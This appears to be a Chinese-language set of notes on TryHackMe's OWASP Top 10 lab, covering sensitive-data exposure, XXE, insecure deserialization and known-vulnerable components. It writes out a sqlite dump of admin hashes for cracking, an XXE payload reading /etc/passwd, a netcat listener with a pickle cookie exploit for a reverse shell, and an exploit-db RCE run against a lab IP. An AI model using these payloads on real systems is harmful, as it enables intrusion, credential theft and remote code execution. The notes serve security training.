tryhackme-OWASP
tryhackme-OWASP Top 10部分记录
敏感信息泄露
在assets目录中
可以看到到一个sqlite数据库的webapp.db文件
使用sqlite3 webapp.db
.tables查看表
会发现users表
pragma table_info(users);select * from users;
查看数据
其中含有管理员账号admin以及密码的md5值,爆破即可
XML外部实体
XML 外部实体 (XXE) 攻击是滥用 XML 解析器/数据功能的漏洞。它通常允许攻击者与应用程序本身可以访问的任何后端或外部系统进行交互,并允许攻击者读取该系统上的文件。它们还可能导致拒绝服务 (DoS) 攻击,或者可以使用 XXE 执行服务器端请求伪造 (SSRF),从而诱使 Web 应用程序向其他应用程序发出请求。XXE 甚至可以启用端口扫描并导致远程代码执行。
每个XML文档大多以所谓的XML Prolog开头
<?xml version="1.0" encoding="UTF-8"?>
每个 XML 文档都必须包含一个“ROOT”元素
<?xml version="1.0" encoding="UTF-8"?>
<mail>
<to>falcon</to>
<from>feast</from>
<subject>About XXE</subject>
<text>Teach about XXE</text>
</mail>
XML中的DTD
DTD 代表 文档类型定义。DTD 定义 XML 文档的结构、法律元素和属性
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
例如:下面给出了一个 XML 文档,该文档使用note.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>falcon</to>
<from>feast</from>
<heading>hacking</heading>
<body>XXE attack</body>
</note>
有效载荷
<!DOCTYPE replace [<!ENTITY name "feast"> ]>
<userInfo>
<firstName>falcon</firstName>
<lastName>&name;</lastName>
</userInfo>
如我们所见,我们正在定义一个被调用并为其赋值。
再次定义了一个带有名称的ENTITY,但不同之处在于我们将其值设置为“SYSTEM”和文件的路径。
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>
不安全的反序列化
可利用脚本
https://assets.tryhackme.com/additional/cmn-owasptopten/pickleme.py
修改其中的ip为本地vpn的ip或attackbox中ip
本地监听
nc -lvnp 4444
python3 pickleme.py
将输出的结果替换浏览器中的cookie
刷新,本地即可获得shell
具有已知漏洞的组件
google搜索:CSE Bookstore RCE漏洞
会找到这个可利用的CVE
https://www.exploit-db.com/exploits/47887
下载到本地
利用:python3 47884.py http://10.10.184.87
获得RCE